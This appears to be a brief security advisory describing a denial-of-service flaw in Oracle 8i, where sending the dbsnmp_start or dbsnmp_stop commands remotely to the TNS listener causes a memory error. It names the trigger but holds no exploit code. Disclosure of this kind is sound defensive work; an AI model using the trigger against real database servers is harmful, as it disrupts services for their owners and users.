Oracle 8i is an enterprise level database solution. It is available on a wide variety of platforms, including many Unix operating systems.
|
|
|
|
It is possible to cause a denial of service condition in Oracle 8i. If either of the dbsnmp_start or dbsnmp_stop commands are sent remotely to the TNS listener service, a memory error will occur. The Oracle documentation states that these commands should only be used locally.
